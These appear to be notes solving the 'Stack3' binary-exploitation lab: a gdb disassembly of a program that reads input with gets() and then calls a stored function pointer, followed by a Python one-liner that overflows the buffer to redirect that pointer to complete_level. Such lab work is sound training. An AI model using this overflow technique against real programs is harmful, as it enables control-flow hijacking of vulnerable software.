Stack3

gef➤  disas main
Dump of assembler code for function main:
   0x00000000004006b5 <+0>:	push   rbp
   0x00000000004006b6 <+1>:	mov    rbp,rsp
   0x00000000004006b9 <+4>:	sub    rsp,0x60
   0x00000000004006bd <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x00000000004006c0 <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x00000000004006c4 <+15>:	mov    edi,0x4007d8
   0x00000000004006c9 <+20>:	call   0x4004f0 <puts@plt>
   0x00000000004006ce <+25>:	mov    QWORD PTR [rbp-0x10],0x0
   0x00000000004006d6 <+33>:	lea    rax,[rbp-0x50]
   0x00000000004006da <+37>:	mov    rdi,rax
   0x00000000004006dd <+40>:	call   0x4004e0 <gets@plt>
   0x00000000004006e2 <+45>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004006e6 <+49>:	test   rax,rax
   0x00000000004006e9 <+52>:	je     0x40071d <main+104>
   0x00000000004006eb <+54>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004006ef <+58>:	mov    rsi,rax
   0x00000000004006f2 <+61>:	mov    edi,0x400828
   0x00000000004006f7 <+66>:	mov    eax,0x0
   0x00000000004006fc <+71>:	call   0x4004d0 <printf@plt>
   0x0000000000400701 <+76>:	mov    rax,QWORD PTR [rip+0x200418]        # 0x600b20 <stdout>
   0x0000000000400708 <+83>:	mov    rdi,rax
   0x000000000040070b <+86>:	call   0x400500 <fflush@plt>
   0x0000000000400710 <+91>:	mov    rdx,QWORD PTR [rbp-0x10]
   0x0000000000400714 <+95>:	mov    eax,0x0
   0x0000000000400719 <+100>:	call   rdx
   0x000000000040071b <+102>:	jmp    0x400727 <main+114>
   0x000000000040071d <+104>:	mov    edi,0x400848
   0x0000000000400722 <+109>:	call   0x4004f0 <puts@plt>
   0x0000000000400727 <+114>:	mov    edi,0x0
   0x000000000040072c <+119>:	call   0x400510 <exit@plt>
End of assembler dump.
checksec stack-three
objdump -d stack-three | grep complete_level
python -c "import struct; print 'A'*(0x50-0x10)+struct.pack('Q',0x000000000040069d)" | ./stack-three